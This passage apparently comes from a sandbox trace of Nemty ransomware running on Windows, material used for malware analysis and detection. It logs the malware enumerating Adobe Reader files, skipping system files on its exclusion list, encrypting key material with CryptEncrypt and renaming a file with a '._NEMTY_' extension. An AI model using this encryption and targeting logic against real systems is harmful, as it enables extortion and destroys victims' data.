ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="AD1410~1")) returned 1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2=".") returned 1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="..") returned 1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="...") returned 1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="windows") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="$RECYCLE.BIN") returned 1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="rsa") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="NTDETECT.COM") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="ntldr") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="MSDOS.SYS") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="IO.SYS") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="boot.ini") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="boot.ini") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="AUTOEXEC.BAT") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="ntuser.dat") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="desktop.ini") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="CONFIG.SYS") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="RECYCLER") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="BOOTSECT.BAK") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="bootmgr") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="programdata") returned -1 [0196.823] lstrcmpiW (lpString1="Adobe-CNS1-1", lpString2="appdata") returned -1 [0196.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-1", lpUsedDefaultChar=0x0) returned 12 [0196.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-1", lpUsedDefaultChar=0x0) returned 12 [0196.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-1", lpUsedDefaultChar=0x0) returned 12 [0196.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-1", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-1", lpUsedDefaultChar=0x0) returned 12 [0196.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0196.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0196.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0196.824] Sleep (dwMilliseconds=0x5) [0196.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28f8ca70, dwHighDateTime=0x1d561e8)) [0196.839] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x28f8ca70, dwHighDateTime=0x1d561e8)) [0196.839] GetLastError () returned 0x5 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0196.839] GetLastError () returned 0x5 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.839] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0196.839] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0196.839] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0196.839] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="cet/zRVWq6xzKdN4tDpH91uO50/scDu2cEqb0Un5y9DNwy+J6vgfu4XNwbWZsbU/\r\nZkDKKjwAmbKIAP4zQ+7OQ14hliDkpWcfZjZ/813rC932qYxi9K6JxCZxWJrhuB70\r\nTRiZluU3imZaPWCNpoDKJfzYAbVEC+ccUPrsIKHNLWLQkPY2OTm0CaI7yutasHhZ\r\nnpaKXj4DAnEa95ESJzbcbMNnGAUqlPcmqHgswH+7srh5RzmB/6MFCNXe3mnYInfD\r\nRbh0MUcTXsLGPpXe1sRXo0UiQuh7pejhjthGz0VtyNEz8mzPIkSZNrG8pG2/54HC\r\nLC3bCeUGXB+CU6u88RRtCg==\r\n", pcchString=0x653e91c) returned 1 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0196.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.839] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0196.839] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0196.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0196.841] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0196.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0196.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.851] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.888] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.888] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.888] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.927] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.927] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0196.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0196.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0196.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0196.949] CloseHandle (hObject=0xffffffff) returned 0 [0196.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0196.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0196.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0196.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0196.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0196.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0196.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0196.949] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1._nemty_kgobjgd_")) returned 0 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0196.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0196.949] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="ADC905~1")) returned 1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2=".") returned 1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="..") returned 1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="...") returned 1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="windows") returned -1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="$RECYCLE.BIN") returned 1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="rsa") returned -1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="NTDETECT.COM") returned -1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="ntldr") returned -1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="MSDOS.SYS") returned -1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="IO.SYS") returned -1 [0196.949] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="boot.ini") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="boot.ini") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="AUTOEXEC.BAT") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="ntuser.dat") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="desktop.ini") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="CONFIG.SYS") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="RECYCLER") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="BOOTSECT.BAK") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="bootmgr") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="programdata") returned -1 [0196.950] lstrcmpiW (lpString1="Adobe-CNS1-2", lpString2="appdata") returned -1 [0196.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-CNS1-2", lpUsedDefaultChar=0x0) returned 12 [0196.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0196.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-CNS1-2", cchWideChar=12, 